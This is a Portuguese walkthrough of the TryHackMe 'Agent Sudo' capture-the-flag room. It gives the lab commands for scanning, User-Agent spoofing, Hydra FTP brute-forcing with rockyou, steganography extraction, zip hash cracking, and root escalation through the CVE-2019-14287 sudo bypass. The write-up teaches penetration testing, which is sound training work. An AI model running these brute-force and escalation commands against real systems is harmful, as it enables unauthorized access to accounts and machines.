AGENTE SUDO NO TRYHACKME

A sala desafiadora no caminho para iniciantes no Agent sudo no Tryhackme

O laboratório está muito lento, então temos que esperar pela varredura de portas.

Então vamos começar, há tanto para aprender.

A) Primeiro vamos fazer NMAP

nmap -sV -sC -A 10.10.111.153

      
                

                    
                    
                
            

então procuramos na porta 80 qual página da web está rodando em Http

Ele diz que altere o agente do usuário para ignorar esta página, então o que podemos fazer?

Usamos a ferramenta de proxy 'Burpsuite' o que é? ferramenta usada para testes de penetração.

Use burp para interceptar a requisição Agora mude o user-agent para C

Com o User-agent definido como C, somos redirecionados para http://10.10.111.153/agent_C_attention.php, onde podemos ver a seguinte mensagem:

Presumi que “chris” deve ser o usuário do sistema.

então o que podemos fazer aqui?

Agora sabemos que o nome de usuário é chris, então podemos usar 'Hydra' para força bruta para obter as credenciais de FTP do usuário.

digitar

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.111.153

      
                

                    
                    
                
            

faça login usando credenciais de FTP

ftp 10.10.111.153

      
                

                    
                    
                
            

Podemos usar a ferramenta Exiftool ou steghide para obter metadados da imagem.

Agora vasculhe os arquivos e em cutie.png encontramos algo

binwalk -e cutie.png

      
                

                    
                    
                
            

Agora precisamos quebrar a senha do arquivo 8702.zip

zip2john 8702.zip > out.txt
jonh --wordlist=/usr/share/wordlists/rockyou.txt out.txt

      
                

                    
                    
                
            

Agora extraia o conteúdo

7z e 8702.zip

      
                

                    
                    
                
            

cat To_agentR.txt

      
                

                    
                    
                
            

echo "QXJlYTUx" | base64 -d

Agora vamos extrair o texto ou arquivo de cute-alien.jpg

steghide extract -sf cute-alien.jpg
# Enter Area51 as passphrase
cat message.txt

      
                

                    
                    
                
            

O próximo passo é tentar fazer login usando credenciais SSH

ssh [email protected]

Temos sinalizador de usuário!

tentamos obter Alien autospy.jpg usando o tipo

sudo scp [email protected]:Alien_autospy.jpg

Para obter o sinalizador raiz, precisamos verificar quais permissões ou privilégios temos

Este é um pouco mais complicado. Primeiro digite o comando.

sudo -l

      
                

                    
                    
                
            

CVE-2019–14287

Escale os privilégios

sudo -u#-1 /bin/bash

      
                

                    
                    
                
            

Agora temos todas as nossas respostas, vamos enviá-lo e concluímos nosso CTF com sucesso !!

Continue tentando, continue trabalhando :)

Obrigado por ler!!

Boas hackers

Author: Xploit Ayush